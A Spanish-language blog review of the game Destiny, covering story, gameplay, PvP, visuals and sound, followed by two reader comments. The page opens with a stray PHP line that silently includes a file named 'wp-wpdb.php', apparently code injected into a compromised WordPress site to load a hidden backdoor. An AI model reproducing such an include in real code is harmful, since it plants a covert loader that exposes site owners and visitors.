if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Destiny – La Fortaleza de LeChuck

Análisis Destiny

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Estamos sin duda, ante uno de los lanzamientos más esperados del año. Bungie lleva muchos años cocinando e informándonos sobre su proyecto post-Halo, el juego que dejaría todos los anteriores pequeños, por presupuesto y tiempo de desarrollo. Seguro que muchos de vosotros habéis estado jugando todos estos días y viendo, precisamente, lo que es y lo que no es Destiny, y es que el hype (y la falta de títulos en las consolas de nueva generación) ha llevado a muchos a comprárselo sin mirar, y a otros decepcionados y convencidos de no comprarlo tras probar la beta, y es que parece que Destiny no está hecho para el jugador de consola habitual. Vamos a ver cuáles son las cosas que te pueden gustar de Destiny, y cuáles no.

Historia

La historia de Destiny plantea un mundo de ciencia ficción atractivo y espectacular. En principio el universo está en peligro y la torre es la última ciudad en pie gracias al poder del viajero, que aunque está muy débil, ha podido defender esta última ciudad de la torre.  Esta especie de nave, la vemos en la imagen principal de este análisis,  es el objetivo de nuestra búsqueda, pues se buscan guardianes capaces de darle un vuelco a la situación. A partir de ahí, las misiones en campaña se difuminan con muy pocos datos sobre la historia, con muy poquitas cinemáticas, y hace que pierda mucho fuelle el interés sobre ella.

Jugabilidad

Estamos ante un juego en el que la jugabilidad ha sido muy criticada, pero depende mucho del tipo de jugador que lo juegue y juzgue. Por un lado, su jugabilidad como FPS conquista a todo el mundo, jugadores y no habituales del género, y los jugadores de Halo reconocen en el perfectamente todas las bases que lo hicieron grande. Después están los jugadores que creen que es un MMORPG, o un RPG, se dan de bruces con algo que no tiene nada que ver con ello, con solo algún atisbo de parecidas características, como encontrarte a otros jugadores ajenos a tu escuadra de camino a las misiones y, muy de vez en cuando, participar en un evento público disparando entre unos cuantos (He llegado a ver a seis personas como mucho) a un solo enemigo de los grandotes, pero repito: nada que ver. Los que esperan una aventura, tampoco van a tener su ración, pues ni la historia está contada de buena forma como para cautivar, ni el juego está montado como una aventura.

¿Entonces qué es Destiny? No creo en el dicho de que sea un nuevo género, en realidad coge algo de muchos y no siempre de la mejor forma, yo lo bautizaría más como un Halo hypervitaminado, al que le han puesto más personalización, más armas, niveles de experiencia y enemigos con niveles y barras de energía, pero al final, te encuentras con un Halo donde han potenciado el juego cooperativo, con niveles diseñados para jugar con más gente. Si un sistema cautiva y funciona bien ¿Para qué cambiarlo? Solo han intentado ampliarlo, darle un nuevo universo, más presupuesto en general, pero al final, cuando juegues a Destiny te encuentras con la forma de ser y hacer de Bungie, si tu como yo has jugado a toda la saga Halo, sabrás a lo que me refiero.

Dentro de su estilo, sin duda lo más criticado es la forma para subir niveles de experiencia. Cuando llegas al nivel 20 dejas de sumar experiencia propia, tu personaje ya está al tope de sus habilidades, pero puedes seguir mejorando la armadura para hacerte más resistente, y con esas mejoras será como sigas subiendo de experiencia. No será por jugar más que nadie, no será por matar a más enemigos que nadie, no. Solo mejorando tu armadura. El hecho de subir de nivel mejorando las características de tu arsenal y armadura me parece bastante interesante y lógico, igual que nosotros mejoraríamos si en lugar de ir en chanclas a correr, fueramos en zapatillas deportivas, nuestro rendimiento mejorará. En el caso de Destiny solo aumentarás el nivel  si te equipas con accesorios que porten luz. La luz es la materia que mejora tu armadura, y solo comienza a aparecer en los objetos que recoges o te dan al finalizar una misión en Destiny y a partir del nivel 20, que es cuando se pone muy cuesta arriba la evolución de tu personaje, ya que dependes de lo que te vaya dando el juego y es muy aleatorio, esto hace que haya gente que juegue mucho pero le toquen cosas «malas» continuamente o que alguien juegue poco y le pase al revés. Aleatoriedad total que seguro va mejorando con parches si no quieren que se les vayan los jugadores a otro lado.

Las misiones en campaña, tanto en modos de asalto como de la propia campaña son bastante confusas y se basan, básicamente, en disparar a «todo lo que se menea» hasta que, la mayoría de veces, te aparece un bicharraco con hordas de enemigos alrededor, teniendo que acabar con todo. Luego tenemos ciertos desafíos por los que nos seguirán dando recompensas como monedas para comprar en la torre, o directamente armas, armaduras u objetos importantes para mejorarlas. Al no haber demasiadas, la cosa se hace muy, muy repetitiva, pudiendo jugarlas siempre con los enemigos con mayor nivel para que la dificultad sea mayor y den objetos, en principio, más interesantes. Se plantea más como la base del juego donde irán poniendo más tipos de misiones como ya están haciendo en forma de actualizaciones, pero al no cambiar las localizaciones siempre da esa sensación de «déjà vû» que puedes asumir sin más hasta aburrirte del juego, o esperar a nuevas zonas más que sabidas de pago que irán añadiendo con el tiempo.

Los mapeados son zonas extensas, sí, y se puede decir que dentro de esas zonas es «abierto» puesto que puedes ir donde quieras, pero la mayoría de veces están canalizados por cuevas. ¿Os acordáis de la campiña de Hyrule en Zelda Twilight Princess? En lugar de ser un campo donde movernos libremente hacia muchas direcciones, estaba bastante encarrilada por estrechos acantilados que al final hacían de caminos prefijados de una zona a otra. Aquí pasa lo mismo, algo así como las fases de cualquier Halo, fases amplias, muy amplias y diseñadas para que quepamos varios jugadores, pero no es un mundo abierto. Dentro de ellas si podemos movernos con libertad incluso meternos en varios caminos distintos, y aunque el juego solo invita a explorar por los cofres o los artefactos coleccionables, el hecho de ser un mundo tan propio y detallado da ganas de explorarlo y ver que hay más allá, aunque la reaparición de enemigos constante te nuble un poco esas ganas.

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Los vehículos se hacen casi testimoniales, solo utilizados prácticamente para recorrer ese mapa que tienes tan caminado bastante más rápido, permitiendo sacar tu «colibrí» siempre que quieras (Eso sí, solo en exteriores). También cogeremos, en algunos momentos del juego, vehículos armados también heredados de Halo con algunos recorridos sobre ellos.

Cuando no estemos en ninguna misión, normalmente estaremos o en la órbita, o en la torre. La órbita centraliza la elección de mapas y modos, el lobby para montar escuadra con tus amigos y, a la vez, la «interfaz» del juego, por decirlo de un modo, y desgraciadamente pasamos mucho por ella cada vez que terminamos nuestras misiones o venimos de la torre, con tiempos de carga de por medio que nos hacen perder un tiempo precioso. En mi opinión debería haber sido integrada de una forma más homogénea es un sitio de paso que no aporta nada.

En cuánto a la torre, seguramente es el lugar que más llama la atención y del que más cansado terminas. En principio es el centro neurálgico del juego, donde compras nuevas armaduras, contratas nuevos desafíos, decodificas armas que has recogido para poder utilizar, y te encuentras con demás jugadores del juego. El encontrarte con más jugadores pasa a un segundo plano, pues la comunicación con los demás es nula, solo pudiendo hacer cuatro movimientos divertidos en primera instancia que dejarás de utilizar en 10 horas de juego, sin poder hablar abiertamente con micrófono con alguien que encuentres allí a no ser que lo agregues como amigo. Esto hace que la torre sirva, después de unas horas de juego, para arramplar con las tiendas, «comprar» desafíos y largarte a por más misiones o multijugador. No tiene más y lo que parecía una idea muy buena y muy «Mass Effect» sale empañada  sin mucha chicha que disfrutar, que también podemos esperar vayan mejorando con actualizaciones.

Jugabilidad PvP

Aunque el juego en sí, la campaña o como se le quiera llamar, está basado en jugar con amigos, en cooperar para «acabar con los malos», también tenemos un modo PvP de los de toda la vida, con varios de los típicos modos de enfrentamientos, todos contra todos, «rey de la colina», etc. Desgraciadamente el multijugador también está alimentado por los vicios del modo PvE, dependiendo demasiado de las armas y habilidades adquiridos por tu nivel. No me imagino entrando con nivel 1 ahora mismo a este multijugador PvP, llamado «Crisol», porque básicamente saldrías escaldado, y no por tu habilidad como jugador, si no por la habilidad de tu personaje respecto a los demás.

El juego en sí tiene una jugabilidad muy buena, 100% Halo, y algunos mapas decentes, pero podría ser más equilibrado, gustándome más en los juegos anteriores de la desarrolladora, donde todos los jugadores partían de cero con un equipamiento estándar y buscaban por el mapa las armas más potentes. Aquí han sustituido eso por el hecho de tener que buscar en puntos del mapa la munición para las armas secundarias y más potentes, cosa que aún resultando bastante interesante, no quita el hecho de que tener mejores armas que los demás significa tener más posibilidades, cosa que no pasaba en anteriores juegos de Bungie . En definitiva, la moda de ponerle niveles  ha empeorado este modo, compensando de cierta forma dando casi las mismas armas o armaduras que darían en el modo PvE al término de las partidas con la misma aleatoriedad que en ésta, para poder equiparar la evolución del personaje jugando en un modo u otro.

Tratando más de cerca los mapas, todavía hay bastante pocos, y aunque cambien el ambiente para jugarlos de noche y de día no cambia ese hecho. Al no tener todavía un modo de más jugadores que 6 VS 6 (Lo que criticaban muchos en Titanfall) ponen algunos mapas demasiado grandes, y aún con vehículos, acaba siendo carne de los amantes del francotirador, por lo que, en estos mapas, se puede echar de menos más jugadores en el mapa como en los «Big Team Battle» de Halo. Los pequeños están muy bien diseñados, a la altura de Bungie y se hacen realmente disfrutables.

 Apartado técnico

El juego tiene dos grandes vertientes en el apartado visual. Artísticamente es increíble, se le nota el detalle en cada rincón, el esmero, con una ambientación y un carisma sublimes, llegas a pensar que Marte, Venus… realmente deben ser así, una auténtica revolución artística que queda algo empañado por un motor gráfico diseñado para la anterior generación en un juego que debió ser totalmente de nueva generación, que aún habiéndolo potenciado durante los últimos meses ante el lanzamiento de las nuevas consolas, aún denota muchas limitaciones técnicas de Playstation 3 y Xbox 360. En esas versiones, aún así, han hecho un gran trabajo, con pocas diferencias respecto a Xbox One y PS4 más allá de una bajísima resolución. Por suerte el apartado artístico te hace olvidar lo poco de malo que pueda tener esto y detalles, como los reflejos en el agua o la iluminación, brillan por sí solos haciéndote disfrutar de la experiencia.

El apartado sonoro vuelve a poner el listón donde nos gusta, donde los juegos de Bungie merecen y donde Martin O’Donell, con la banda sonora, sabe ponerlos. Los temas suenan muy «O’Donell», y muy «Halo»,y siendo unas de mis bandas sonoras más escuchadas, estoy deseando que salga a la venta por separado para echarle el guante. Los efectos de sonido también suenan espectacularmente, los disparos, los motores, las explosiones, todo suena extraterrestre y totalmente galáctico.

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Conclusión

Destiny es un juego potente, un Halo hyper-vitaminado muy trabajado en muchos ámbitos, pero que estos primeros meses parece ser una especie de «early access» de niveles y jugabilidad repetitiva, cosa que provoca la incomprensión por parte de la mayoría de los jugadores. Su dinámica de juego es de difícil calado en un jugador de consola, y su idea está entre dos mundos que nada tiene que ver. Al final resulta ser una especie de juego periódico (A lo Animal Crossing), donde no vale quemar el juego en dos días porque te frustrará no obtener demasiadas ventajas sobre los demás, intentando llegar a los jugadores que juegan a un solo juego todo el tiempo como son los que juegan MMORPG, ir catando cada una de las nuevas zonas,misiones o eventos con los que va actualizando el juego Bungie.

El jugador de consola actual, el que te hace ser el «GOTY» en ventas quiere un juego que pueda arrasar en una semana y luego abandonar para pasar a otro, y no está acostumbrado a que un juego le requiera tanto tiempo para dar pasos realmente pequeños en al evolución de tu personaje repitiendo misiones y misiones. aunque todos estos problemas y falta de contenido son una oportunidad para Bungie, para mejora el juego, evolucionarlo como prometen, para contar una buena historia, pero eso sí, ya anticipo que nadie estará jugando a Destiny dentro de 10 años como ellos proyectan, y que pese a ser un gran juego, su propio marketing y hype se lo ha comido (como con Watch Dogs), nadie se acordará de el por entonces.

Pese a todas esas pegas, que achaco a las promesas y a ese desmesurado hype, el juego tiene un montón de virtudes, como su «gunplay» heredado de Halo, su ambientación y arte, la gran jugabilidad cooperativa jugando con amigos y mucho más. Desgraciadamente sigo pensando que el juego debería contener más mapas desde el inicio, ya que mucha gente ya se ha cansado de repetir tantas misiones durante horas, cayendo en la desidia por no recibir nada interesante a cambio y depender de objetos que se sortean sin más al finalizar la partida, sin premiar tu rendimiento en ella. Es difícil analizar y sacar conclusiones de este juego cuando se puede considerar que está inacabado, pero también debemos apreciar el hecho que desde su lanzamiento Bungie está implicada en ir dando contenido para redondear Destiny. Además, no entiendo la falta de una versión para PC, este juego está hecho para jugadores de PC, sin más, es mucho más apropiado que para los de consola.

Por Museboy

Como la mayoría de vosotros, crecí jugando a videojuegos y ahora intento transmitir toda la pasión por este mundo en La Fortaleza de LeChuck. También busco ofertas de videojuegos. Seguidme en Twitter y sabréis de qué hablo.

2 comentarios

  1. Buen Review. Al final señalaste lo que sentía durante la descripción del juego, principalmente que debería estar para PC. La posibilidad de expandirse mediante mods y la comunidad es un potencial que definitivamente no explotaron.

    Esperemos que no les pase como Rockstar y GTA y tengamos pronto un port vitaminado.

    1. Bueno, primero que decidan hacerlo, porque precisamente Bungie siempre ha comentado que no quiere estar desarrollando y «soportando» actualizaciones en más versiones que las cuatro que tienen. Yo estoy seguro que cuando vean que todo el mundo «pasa» de Destiny en unas semanas, se animarán, pero de ahí a jurarlo… xD

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